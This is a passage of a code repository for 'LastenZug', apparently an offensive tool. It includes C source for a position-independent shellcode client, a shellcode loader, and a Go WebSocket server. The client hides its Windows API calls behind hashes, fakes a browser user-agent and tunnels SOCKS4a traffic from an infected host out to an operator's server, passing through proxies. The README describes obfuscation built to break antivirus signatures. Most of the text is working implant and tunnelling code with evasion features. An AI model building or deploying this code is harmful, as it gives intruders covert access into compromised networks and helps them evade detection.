CRYPTED_HASH_WINHTTPOPEN)) == 0x00) return FAIL; 20 | if ((ptr_fpointers->_WinHttpOpenRequest = (WINHTTPOPENREQUEST)getFunctionPtr(CRYPTED_HASH_WINHTTP, CRYPTED_HASH_WINHTTPOPENREQUEST)) == 0x00) return FAIL; 21 | if ((ptr_fpointers->_WinHttpReceiveResponse = (WINHTTPRECEIVERESPONSE)getFunctionPtr(CRYPTED_HASH_WINHTTP, CRYPTED_HASH_WINHTTPRECEIVERESPONSE)) == 0x00) return FAIL; 22 | if ((ptr_fpointers->_WinHttpSendRequest = (WINHTTPSENDREQUEST)getFunctionPtr(CRYPTED_HASH_WINHTTP, CRYPTED_HASH_WINHTTPSENDREQUEST)) == 0x00) return FAIL; 23 | if ((ptr_fpointers->_WinHttpSetOption = (WINHTTPSETOPTION)getFunctionPtr(CRYPTED_HASH_WINHTTP, CRYPTED_HASH_WINHTTPSETOPTION)) == 0x00) return FAIL; 24 | if ((ptr_fpointers->_WinHttpWebSocketClose = (WINHTTPWEBSOCKETCLOSE)getFunctionPtr(CRYPTED_HASH_WINHTTP, CRYPTED_HASH_WEBSOCKETCLOSE)) == 0x00) return FAIL; 25 | if ((ptr_fpointers->_WinHttpWebSocketCompleteUpgrade = (WINHTTPWEBSOCKETCOMPLETEUPGRADE)getFunctionPtr(CRYPTED_HASH_WINHTTP, CRYPTED_HASH_WINHTTPWEBSOCKETCOMPLETEUPGRADE)) == 0x00) return FAIL; 26 | if ((ptr_fpointers->_WinHttpWebSocketReceive = (WINHTTPWEBSOCKETRECEIVE)getFunctionPtr(CRYPTED_HASH_WINHTTP, CRYPTED_HASH_WINHTTPWEBSOCKETRECEIVE)) == 0x00) return FAIL; 27 | if ((ptr_fpointers->_WinHttpWebSocketSend = (WINHTTPWEBSOCKETSEND)getFunctionPtr(CRYPTED_HASH_WINHTTP, CRYPTED_HASH_WINHTTPWEBSOCKETSEND)) == 0x00) return FAIL; 28 | if ((ptr_fpointers->_WinHttpWebSocketShutdown = (WINHTTPWEBSOCKETSHUTDOWN)getFunctionPtr(CRYPTED_HASH_WINHTTP, CRYPTED_HASH_WINHTTPWEBSOCKETSHUTDOWN)) == 0x00) return FAIL; 29 | if ((ptr_fpointers->_lstrlenA = (LSTRLENA)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LSTRLENA)) == 0x00) return FAIL; 30 | if ((ptr_fpointers->_lstrlenW = (LSTRLENW)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LSTRLENW)) == 0x00) return FAIL; 31 | if ((ptr_fpointers->_send = (SEND)getFunctionPtr(CRYPTED_HASH_WS32, CRYPTED_HASH_SEND)) == 0x00) return FAIL; 32 | if ((ptr_fpointers->_recv = (RECV)getFunctionPtr(CRYPTED_HASH_WS32, CRYPTED_HASH_RECV)) == 0x00) return FAIL; 33 | if ((ptr_fpointers->_select = (SELECT)getFunctionPtr(CRYPTED_HASH_WS32, CRYPTED_HASH_SELECT)) == 0x00) return FAIL; 34 | if ((ptr_fpointers->_wsafdisset = (WSAFDISSET)getFunctionPtr(CRYPTED_HASH_WS32, CRYPTED_HASH_WSAFDISSET)) == 0x00) return FAIL; 35 | 36 | return SUCCESS; 37 | 38 | } 39 | -------------------------------------------------------------------------------- /LastenPIC/src/Socks4.c: -------------------------------------------------------------------------------- 1 | #include "Socks4.h" 2 | 3 | DWORD newSocksConn(LastenPIC* pLastenPIC, SocksConnectFrame* pSocksFrame, SOCKET* pSocket, SocksConnectReplyFrame* pReplyFrame) { 4 | 5 | DWORD dwSuccess = FAIL; 6 | int on = 1, rv = 0; 7 | uint32_t ip = 0; 8 | SOCKADDR_IN clientService = { 0x00 }; 9 | 10 | if (pSocksFrame->version != 0x4) 11 | goto exit; 12 | 13 | if (pSocksFrame->command != 0x1) 14 | goto exit; 15 | 16 | *pSocket = pLastenPIC->fPointers._socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 17 | if (*pSocket == INVALID_SOCKET) 18 | goto exit; 19 | 20 | dwSuccess = getIp(pLastenPIC, pSocksFrame, &ip); 21 | if (dwSuccess == FAIL) 22 | goto exit; 23 | 24 | clientService.sin_family = AF_INET; 25 | clientService.sin_addr.s_addr = ip; 26 | clientService.sin_port = pSocksFrame->port; 27 | 28 | rv = pLastenPIC->fPointers._Connect(*pSocket, (const SOCKADDR_IN*)&clientService, sizeof(SOCKADDR_IN)); 29 | if (rv == SOCKET_ERROR) 30 | goto exit; 31 | 32 | rv = pLastenPIC->fPointers._ioctlsocket(*pSocket, FIONBIO, (u_long*)&on); 33 | if (rv != 0) { 34 | pLastenPIC->fPointers._Closesocket(*pSocket); 35 | goto exit; 36 | } 37 | 38 | dwSuccess = SUCCESS; 39 | 40 | exit: 41 | 42 | pReplyFrame->rep = (dwSuccess == FAIL) ? 0x5b : 0x5a; 43 | 44 | return dwSuccess; 45 | 46 | } 47 | 48 | DWORD getIp(LastenPIC* pLastenPIC, SocksConnectFrame* pSocksFrame, uint32_t* pResolvedIp) { 49 | 50 | DWORD dwSuccess = FAIL; 51 | DNS_RECORD dnsRecord = { 0x00 }; 52 | PDNS_RECORD pDnsRecord = &dnsRecord; 53 | DNS_STATUS dns_status = { 0x00 }; 54 | 55 | if ( 56 | ( (pSocksFrame->ip >> (8 * 0)) & 0xff ) == 0x00 && 57 | ( (pSocksFrame->ip >> (8 * 1)) & 0xff) == 0x00 && 58 | ( (pSocksFrame->ip >> (8 * 2)) & 0xff) == 0x00 && 59 | ( (pSocksFrame->ip >> (8 * 3)) & 0xff) == 0x1 60 | ) { 61 | 62 | dns_status = pLastenPIC->fPointers._DnsQuery_A((PCSTR)&pSocksFrame->buf, DNS_TYPE_A, DNS_QUERY_BYPASS_CACHE, NULL, &pDnsRecord, NULL); 63 | if (dns_status != ERROR_SUCCESS || pDnsRecord == NULL) 64 | goto exit; 65 | 66 | *pResolvedIp = pDnsRecord->Data.A.IpAddress; 67 | 68 | } 69 | else { 70 | *pResolvedIp = pSocksFrame->ip; 71 | } 72 | 73 | dwSuccess = SUCCESS; 74 | exit: 75 | 76 | return dwSuccess; 77 | 78 | } 79 | -------------------------------------------------------------------------------- /LastenPIC/src/Socks4.h: -------------------------------------------------------------------------------- 1 | #include "windows.h" 2 | #include "windns.h" 3 | 4 | #include "Defines.h" 5 | 6 | typedef struct { 7 | uint8_t version; 8 | uint8_t command; 9 | uint16_t port; 10 | uint32_t ip; 11 | uint8_t end; 12 | uint8_t buf[256]; 13 | } SocksConnectFrame; 14 | 15 | typedef struct{ 16 | uint8_t vn; 17 | uint8_t rep; 18 | uint16_t dstport; 19 | uint32_t dstip; 20 | } SocksConnectReplyFrame; 21 | 22 | DWORD newSocksConn(LastenPIC*, SocksConnectFrame* socks_frame, SOCKET* ptr_socket, SocksConnectReplyFrame*); 23 | 24 | DWORD getIp(LastenPIC*, SocksConnectFrame*, uint32_t*); 25 | -------------------------------------------------------------------------------- /LastenPIC/src/WS.c: -------------------------------------------------------------------------------- 1 | #include "WS.h" 2 | 3 | DWORD initWS(LastenPIC* pLastenPIC, PWSTR proxy, PWSTR proxy_username, PWSTR proxy_password) { 4 | 5 | DWORD dwSuccess = FAIL; 6 | BOOL bStatus = FALSE; 7 | WINHTTP_PROXY_INFO proxyInfo = { 0 }; 8 | 9 | HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL, hWebSocket = NULL; 10 | wchar_t wGet[] = { 'G', 'E', 'T', 0x00 }; 11 | wchar_t wUa[] = { 'M','o','z','i','l','l','a','/','5','.','0',' ','(','W','i','n','d','o','w','s',' ','N','T',' ','1','0','.','0',')',' ','A','p','p','l','e','W','e','b','K','i','t','/','5','3','7','.','3','6',' ','(','K','H','T','M','L',',',' ','l','i','k','e',' ','G','e','c','k','o',')',' ','C','h','r','o','m','e','/','4','2','.','0','.','2','3','1','1','.','1','3','5',' ','S','a','f','a','r','i','/','5','3','7','.','3','6',' ','E','d','g','e','/','1','2','.','1','0','1','3','6', 0x00}; 12 | 13 | hSession = pLastenPIC->fPointers._WinHttpOpen(wUa, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0); 14 | if (hSession == NULL) 15 | goto exit; 16 | 17 | hConnect = pLastenPIC->fPointers._WinHttpConnect(hSession, pLastenPIC->wServerName, pLastenPIC->port, 0); 18 | if (hConnect == NULL) 19 | goto exit; 20 | 21 | hRequest = pLastenPIC->fPointers._WinHttpOpenRequest(hConnect, wGet, pLastenPIC->wPath, NULL, NULL, NULL, 0); 22 | if (hRequest == NULL) 23 | goto exit; 24 | 25 | #ifndef __MINGW32__ 26 | #pragma prefast(suppress:6387, "WINHTTP_OPTION_UPGRADE_TO_WEB_SOCKET does not take any arguments.") 27 | #endif 28 | bStatus = pLastenPIC->fPointers._WinHttpSetOption(hRequest, WINHTTP_OPTION_UPGRADE_TO_WEB_SOCKET, NULL, 0); 29 | if (bStatus == FALSE) 30 | goto exit; 31 | 32 | if(proxy) { 33 | 34 | proxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; 35 | proxyInfo.lpszProxy = proxy; 36 | 37 | bStatus = pLastenPIC->fPointers._WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY, &proxyInfo, sizeof(WINHTTP_PROXY_INFO)); 38 | if(bStatus == FALSE) 39 | goto exit; 40 | 41 | } 42 | 43 | if (proxy_username && proxy_password) { 44 | 45 | bStatus = pLastenPIC->fPointers._WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY_USERNAME, proxy_username, pLastenPIC->fPointers._lstrlenW(proxy_username)); 46 | if (bStatus == FALSE) 47 | goto exit; 48 | 49 | bStatus = pLastenPIC->fPointers._WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY_PASSWORD, proxy_password, pLastenPIC->fPointers._lstrlenW(proxy_password)); 50 | if (bStatus == FALSE) 51 | goto exit; 52 | 53 | } 54 | 55 | bStatus = pLastenPIC->fPointers._WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, NULL, 0, 0, 0); 56 | if (bStatus == FALSE) 57 | goto exit; 58 | 59 | bStatus = pLastenPIC->fPointers._WinHttpReceiveResponse(hRequest, 0); 60 | if (bStatus == FALSE) 61 | goto exit; 62 | 63 | hWebSocket = pLastenPIC->fPointers._WinHttpWebSocketCompleteUpgrade(hRequest, 0); 64 | if (hWebSocket == NULL) 65 | goto exit; 66 | 67 | pLastenPIC->hWebSocket = hWebSocket; 68 | dwSuccess = SUCCESS; 69 | 70 | exit: 71 | 72 | if (hSession) 73 | pLastenPIC->fPointers._WinHttpCloseHandle(hSession); 74 | 75 | if (hConnect) 76 | pLastenPIC->fPointers._WinHttpCloseHandle(hConnect); 77 | 78 | if (hRequest) 79 | pLastenPIC->fPointers._WinHttpCloseHandle(hRequest); 80 | 81 | return dwSuccess; 82 | 83 | } 84 | 85 | #pragma GCC push_options 86 | #pragma GCC optimize ("O0") 87 | DWORD readLastenFrame(LastenPIC * pLastenPIC, LastenFrame* pLastenFrame, LPDWORD ptr_dwReadTotal) { 88 | 89 | DWORD dwSuccess = FAIL, dwRead = 0x00, dwReadTotal = 0x00; 90 | WINHTTP_WEB_SOCKET_BUFFER_TYPE bufferType = { 0x00 }; 91 | DWORD dwLenRemaining = sizeof(LastenFrame); 92 | 93 | *ptr_dwReadTotal = 0x00; 94 | for (uint32_t i = 0; i < sizeof(LastenFrame); i++){ 95 | *((uint8_t*)(pLastenFrame) + i) = 0x00; 96 | } 97 | 98 | do { 99 | 100 | if (dwLenRemaining == 0) 101 | goto exit; 102 | 103 | dwSuccess = pLastenPIC->fPointers._WinHttpWebSocketReceive(pLastenPIC->hWebSocket, (PVOID)((BYTE*)pLastenFrame + dwReadTotal), dwLenRemaining, &dwRead, &bufferType); 104 | if (dwSuccess != ERROR_SUCCESS) { 105 | dwSuccess = FAIL; 106 | goto exit; 107 | } 108 | 109 | dwReadTotal += dwRead; 110 | dwLenRemaining -= dwRead; 111 | 112 | } while (bufferType == WINHTTP_WEB_SOCKET_BINARY_FRAGMENT_BUFFER_TYPE); 113 | 114 | *ptr_dwReadTotal = dwReadTotal; 115 | 116 | dwSuccess = SUCCESS; 117 | 118 | exit: 119 | return dwSuccess; 120 | 121 | } 122 | #pragma GCC pop_options 123 | 124 | DWORD sendLastenFrame(LastenPIC* pLastenPIC, LastenFrame* pLastenFrame) { 125 | 126 | DWORD dwSuccess = FAIL; 127 | SIZE_T sizeToSend = 0; 128 | 129 | sizeToSend = sizeof(pLastenFrame->session) + sizeof(pLastenFrame->command) + sizeof(pLastenFrame->message_len) + pLastenFrame->message_len; 130 | 131 | dwSuccess = pLastenPIC->fPointers._WinHttpWebSocketSend(pLastenPIC->hWebSocket, WINHTTP_WEB_SOCKET_BINARY_MESSAGE_BUFFER_TYPE, pLastenFrame, (DWORD)sizeToSend); 132 | if (dwSuccess != ERROR_SUCCESS) 133 | goto exit; 134 | 135 | 136 | dwSuccess = SUCCESS; 137 | 138 | exit: 139 | return dwSuccess; 140 | 141 | } 142 | 143 | void wsClose(LastenPIC* pLastenPIC) { 144 | 145 | if(pLastenPIC->hWebSocket) { 146 | pLastenPIC->fPointers._WinHttpWebSocketShutdown(pLastenPIC->hWebSocket, WINHTTP_WEB_SOCKET_SUCCESS_CLOSE_STATUS, NULL, 0); 147 | pLastenPIC->fPointers._WinHttpWebSocketClose(pLastenPIC->hWebSocket, WINHTTP_WEB_SOCKET_SUCCESS_CLOSE_STATUS, NULL, 0); 148 | } 149 | 150 | } 151 | -------------------------------------------------------------------------------- /LastenPIC/src/WS.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "windows.h" 4 | #include "ApiResolve.h" 5 | #include 6 | 7 | #include "Defines.h" 8 | 9 | DWORD initWS(LastenPIC*, PWSTR, PWSTR, PWSTR); 10 | DWORD readLastenFrame(LastenPIC*, LastenFrame*, LPDWORD); 11 | DWORD sendLastenFrame(LastenPIC*, LastenFrame*); 12 | void wsClose(LastenPIC*); 13 | -------------------------------------------------------------------------------- /LastenPIC/src/chkstk_ms.asm: -------------------------------------------------------------------------------- 1 | global ___chkstk_ms 2 | 3 | segment .text 4 | 5 | ___chkstk_ms: 6 | ret 7 | -------------------------------------------------------------------------------- /LastenPIC/src/entry.asm: -------------------------------------------------------------------------------- 1 | extern lastenzug 2 | global entry 3 | 4 | segment .text 5 | 6 | entry: 7 | push rdi 8 | mov rdi, rsp 9 | and rsp, byte -0x10 10 | sub rsp, byte +0x20 11 | call lastenzug 12 | mov rsp, rdi 13 | pop rdi 14 | ret 15 | -------------------------------------------------------------------------------- /LastenPIC/src/linker.ld: -------------------------------------------------------------------------------- 1 | ENTRY(entry) 2 | SECTIONS 3 | { 4 | .text : 5 | { 6 | *(.text.entry) 7 | *(.text.lastenzug) 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # LastenZug 2 | 3 | This project implements a Socka4a proxy based on websockets. 4 | 5 | The client component is implemented in C compiling down to fully position independent code (PIC). 6 | 7 | During the compilation process, obfuscation is applied on assembly level by leveraging a second tool: **SpiderPIC** located in ```LastenPIC/SpiderPIC``` 8 | 9 | ## SpiderPIC 10 | 11 | The obfuscation includes: 12 | - Instruction substitution 13 | - Adding trash and a jump over the trash 14 | - Adding useless instructions 15 | 16 | This is meant to break static signatures, however you need to keep in mind that API hashes, strings and other constants are not obfuscated during this process. 17 | 18 | ## Usage 19 | 20 | ### Client 21 | 22 | The makefile produces both: the PIC socks client and a sample loader for the shellcode. 23 | You can call the shellcode using the following prototype: 24 | 25 | ```C 26 | DWORD lastenzug(wchar_t* wServerName, PWSTR wPath, DWORD port, PWSTR proxy, PWSTR pUserName, PWSTR pPassword); 27 | ``` 28 | 29 | The sample loader embeds the shellcode in its ***.text*** segment and can be called as follows: 30 | ```bash 31 | .\LastenLoader.exe --server [host] --path [path used by server] --port [port] 32 | ``` 33 | 34 | ### Server 35 | 36 | ```bash 37 | cd Server && go build -o LastenServer 38 | ./LastenServer server --addr ws://0.0.0.0:8080/lastenzug 39 | ``` 40 | 41 | # Credits 42 | - Our [@invist](https://twitter.com/invist) for implementing the backend 43 | - Our [@thefLinkk](https://twitter.com/thefLinkk) for implementing the client 44 | -------------------------------------------------------------------------------- /Server/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 c-f 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Server/README.md: -------------------------------------------------------------------------------- 1 | ## Talje 2 | > Socks - [ws|tcp] server/client 3 | 4 | ## Usage 5 | ```bash 6 | Usage: 7 | talje [command] 8 | 9 | Available Commands: 10 | client Run Client Mode 11 | completion Generate the autocompletion script for the specified shell 12 | help Help about any command 13 | server Run server Mode 14 | 15 | Flags: 16 | -h, --help help for talje 17 | 18 | Use "talje [command] --help" for more information about a command. 19 | ``` 20 | 21 | ## Install 22 | 23 | ```bash 24 | go build 25 | # get coffee 26 | 27 | ``` 28 | 29 | ## License 30 | Released under MIT. More information about the used dependencies can be found in the go.mod/go.sum file. 31 | 32 | **Apache License 2.0** 33 | - https://github.com/spf13/cobra 34 | - https://github.com/OJ/gobuster (copied parts for the cmd/) 35 | - https://github.com/inconshreveable/mousetrap 36 | **MIT license** 37 | - https://github.com/armon/go-socks5 38 | 39 | **BSD-3-Clause license** 40 | - https://github.com/google/uuid 41 | - https://github.com/gorilla/mux 42 | 43 | **BSD-2-Clause license** 44 | - https://github.com/gorilla/websocket 45 | 46 | -------------------------------------------------------------------------------- /Server/cmd/client.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "log" 5 | "net/url" 6 | 7 | "github.com/c-f/talje/lib" 8 | "github.com/spf13/cobra" 9 | ) 10 | 11 | var ( 12 | clientFlags struct { 13 | SocksAddr string 14 | WebSockAddr string 15 | 16 | Protocol string 17 | } 18 | ) 19 | 20 | // runClient runs a local socks5 server, which transfer connections over the websocket conn 21 | func runClient(cmd *cobra.Command, args []string) error { 22 | setProtocol(clientFlags.Protocol) 23 | 24 | log.Println("o--o=o=o") 25 | 26 | connectURI, err := url.Parse(clientFlags.WebSockAddr) 27 | if err != nil { 28 | return err 29 | } 30 | 31 | client := lib.WebsocketClient() 32 | // Start Connection 33 | return client.Send(connectURI.String()) 34 | } 35 | 36 | // nolint:gochecknoinits 37 | func init() { 38 | cmdSrv := &cobra.Command{ 39 | Use: "client", 40 | Short: "Run Client Mode", 41 | RunE: runClient, 42 | } 43 | cmdSrv.Flags().StringVar(&clientFlags.WebSockAddr, "addr", "ws://127.0.0.1:1339/yolo", "Specify the remote websocket Addr") 44 | cmdSrv.Flags().StringVar(&clientFlags.Protocol, "protocol", "binary", "Define if binary or json protocol should be used") 45 | 46 | // --[Add Commands]-- 47 | rootCmd.AddCommand(cmdSrv) 48 | } 49 | -------------------------------------------------------------------------------- /Server/cmd/common.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "log" 5 | 6 | "github.com/c-f/talje/lib/gate" 7 | ) 8 | 9 | func setProtocol(protocol string) { 10 | switch protocol { 11 | case "json": 12 | gate.DefaultGate = gate.Json() 13 | case "binary": 14 | gate.DefaultGate = gate.Binary() 15 | default: 16 | log.Fatal("Unknown Protocol", protocol) 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Server/cmd/root.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "os" 7 | "os/signal" 8 | 9 | "github.com/spf13/cobra" 10 | ) 11 | 12 | // nolint:gochecknoglobals 13 | var rootCmd = &cobra.Command{ 14 | Use: "talje", 15 | SilenceUsage: true, 16 | } 17 | 18 | // nolint:gochecknoglobals 19 | var mainContext context.Context 20 | 21 | // Execute is the main cobra method 22 | // copied from https://github.com/OJ/gobuster/blob/master/cli/cmd/root.go 23 | func Execute() { 24 | var cancel context.CancelFunc 25 | mainContext, cancel = context.WithCancel(context.Background()) 26 | defer cancel() 27 | 28 | signalChan := make(chan os.Signal, 1) 29 | signal.Notify(signalChan, os.Interrupt) 30 | defer func() { 31 | signal.Stop(signalChan) 32 | cancel() 33 | }() 34 | go func() { 35 | select { 36 | case <-signalChan: 37 | // caught CTRL+C 38 | fmt.Println("\n[!] Keyboard interrupt detected, terminating.") 39 | cancel() 40 | os.Exit(1) 41 | case <-mainContext.Done(): 42 | } 43 | }() 44 | 45 | if err := rootCmd.Execute(); err != nil { 46 | // Leaving this in results in the same error appearing twice 47 | // Once before and once after the help output. Not sure if 48 | // this is going to be needed to output other errors that 49 | // aren't automatically outputted. 50 | // fmt.Println(err) 51 | os.Exit(1) 52 | } 53 | } 54 | 55 | func init() { 56 | // specific flag parsing 57 | // log.SetFlags(log.Llongfile) 58 | } 59 | -------------------------------------------------------------------------------- /Server/cmd/server.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net/url" 7 | "strings" 8 | 9 | "github.com/c-f/talje/lib" 10 | "github.com/spf13/cobra" 11 | 12 | "github.com/kabukky/httpscerts" 13 | ) 14 | 15 | var ( 16 | serverFlags struct { 17 | IsHttps bool 18 | Addr string 19 | Cert string 20 | Key string 21 | SocksAddr string 22 | 23 | Protocol string 24 | } 25 | ) 26 | 27 | // runServer runs a HTTP(s) server handling websocket requests and read socks :) 28 | func runServer(cmd *cobra.Command, args []string) (err error) { 29 | setProtocol(serverFlags.Protocol) 30 | 31 | log.Println("o--o=o=o") 32 | 33 | socksURI := serverFlags.SocksAddr 34 | wsURI, err := url.Parse(serverFlags.Addr) 35 | if err != nil { 36 | return 37 | } 38 | 39 | socksSrv, websockSrv := lib.WebsocketServer(socksURI, wsURI.Host, wsURI.Path) 40 | 41 | // configure TLS 42 | if wsURI.Scheme == "wss" || serverFlags.IsHttps { 43 | websockSrv.Cert = serverFlags.Cert 44 | websockSrv.Key = serverFlags.Key 45 | } 46 | 47 | // Start Everything 48 | go socksSrv.Start() 49 | err = websockSrv.Start() 50 | return 51 | } 52 | 53 | // runGenerateCerts generates certs based on the provided userflags 54 | func runGenerateCerts(cmd *cobra.Command, args []string) (err error) { 55 | var hostnames []string 56 | var fname string 57 | flags := cmd.Flags() 58 | if hostnames, err = flags.GetStringSlice("hostnames"); err != nil { 59 | return 60 | } 61 | if fname, err = flags.GetString("fname"); err != nil { 62 | return 63 | } 64 | return generateTestCerts(hostnames, fname) 65 | } 66 | 67 | // nolint:gochecknoinits 68 | func init() { 69 | cmdSrv := &cobra.Command{ 70 | Use: "server", 71 | Short: "Run server Mode", 72 | RunE: runServer, 73 | } 74 | 75 | cmdSrv.Flags().StringVar(&serverFlags.Addr, "addr", "ws://127.0.0.1:1339/yolo", "Specify the listen Addr") 76 | cmdSrv.Flags().StringVar(&serverFlags.SocksAddr, "socks", "127.0.0.1:1080", "Specify the socks listen Addr") 77 | cmdSrv.Flags().StringVar(&serverFlags.Protocol, "protocol", "binary", "Define if binary or json protocol should be used") 78 | 79 | // HTTPS options 80 | cmdSrv.Flags().BoolVar(&serverFlags.IsHttps, "https", false, "Https enabled traffic (can also specified via addr") 81 | cmdSrv.Flags().StringVar(&serverFlags.Cert, "crt", "test.cert.pem", "Specify the certificate path ") 82 | cmdSrv.Flags().StringVar(&serverFlags.Key, "key", "test.cert.key.pem", "Specify the private key path ") 83 | cmdSrv.Flags().SortFlags = false 84 | 85 | cmdCrtGen := &cobra.Command{ 86 | Use: "generate", 87 | Short: "Generate test HTTPS certificate", 88 | RunE: runGenerateCerts, 89 | } 90 | cmdCrtGen.Flags().String("fname", "test.cert", "Name of the Certificates") 91 | cmdCrtGen.Flags().StringSlice("hostnames", []string{}, "Name of the Certificates") 92 | 93 | // --[Add Commands ]-- 94 | cmdSrv.AddCommand(cmdCrtGen) 95 | cmdSrv.AddCommand(&cobra.Command{ // redundant helper 96 | Use: "run", 97 | RunE: runServer, 98 | }) 99 | rootCmd.AddCommand(cmdSrv) 100 | } 101 | 102 | // generateTestCerts generates test Certificates for a https wss server 103 | func generateTestCerts(hostnames []string, certFname string) (err error) { 104 | 105 | keyFile := fmt.Sprintf("%s.key.pem", certFname) 106 | crtFile := fmt.Sprintf("%s.pem", certFname) 107 | 108 | if err = httpscerts.Check(crtFile, keyFile); err != nil { 109 | log.Println("Generate CA and HTTPS certs") 110 | serverlist := strings.Join(hostnames, ",") 111 | 112 | err = httpscerts.Generate(crtFile, keyFile, serverlist) 113 | } 114 | return err 115 | } 116 | -------------------------------------------------------------------------------- /Server/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/c-f/talje 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 // indirect 7 | github.com/google/uuid v1.3.0 // indirect 8 | github.com/gorilla/mux v1.8.0 // indirect 9 | github.com/gorilla/websocket v1.4.2 // indirect 10 | github.com/inconshreveable/mousetrap v1.0.0 // indirect 11 | github.com/kabukky/httpscerts v0.0.0-20150320125433-617593d7dcb3 // indirect 12 | github.com/spf13/cobra v1.3.0 // indirect 13 | github.com/spf13/pflag v1.0.5 // indirect 14 | golang.org/x/net v0.0.0-20211216030914-fe4d6282115f // indirect 15 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c // indirect 16 | ) 17 | -------------------------------------------------------------------------------- /Server/go.sum: -------------------------------------------------------------------------------- 1 | cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 2 | cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 3 | cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= 4 | cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= 5 | cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= 6 | cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= 7 | cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= 8 | cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= 9 | cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= 10 | cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= 11 | cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= 12 | cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= 13 | cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= 14 | cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= 15 | cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= 16 | cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= 17 | cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= 18 | cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= 19 | cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= 20 | cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= 21 | cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY= 22 | cloud.google.com/go v0.84.0/go.mod h1:RazrYuxIK6Kb7YrzzhPoLmCVzl7Sup4NrbKPg8KHSUM= 23 | cloud.google.com/go v0.87.0/go.mod h1:TpDYlFy7vuLzZMMZ+B6iRiELaY7z/gJPaqbMx6mlWcY= 24 | cloud.google.com/go v0.90.0/go.mod 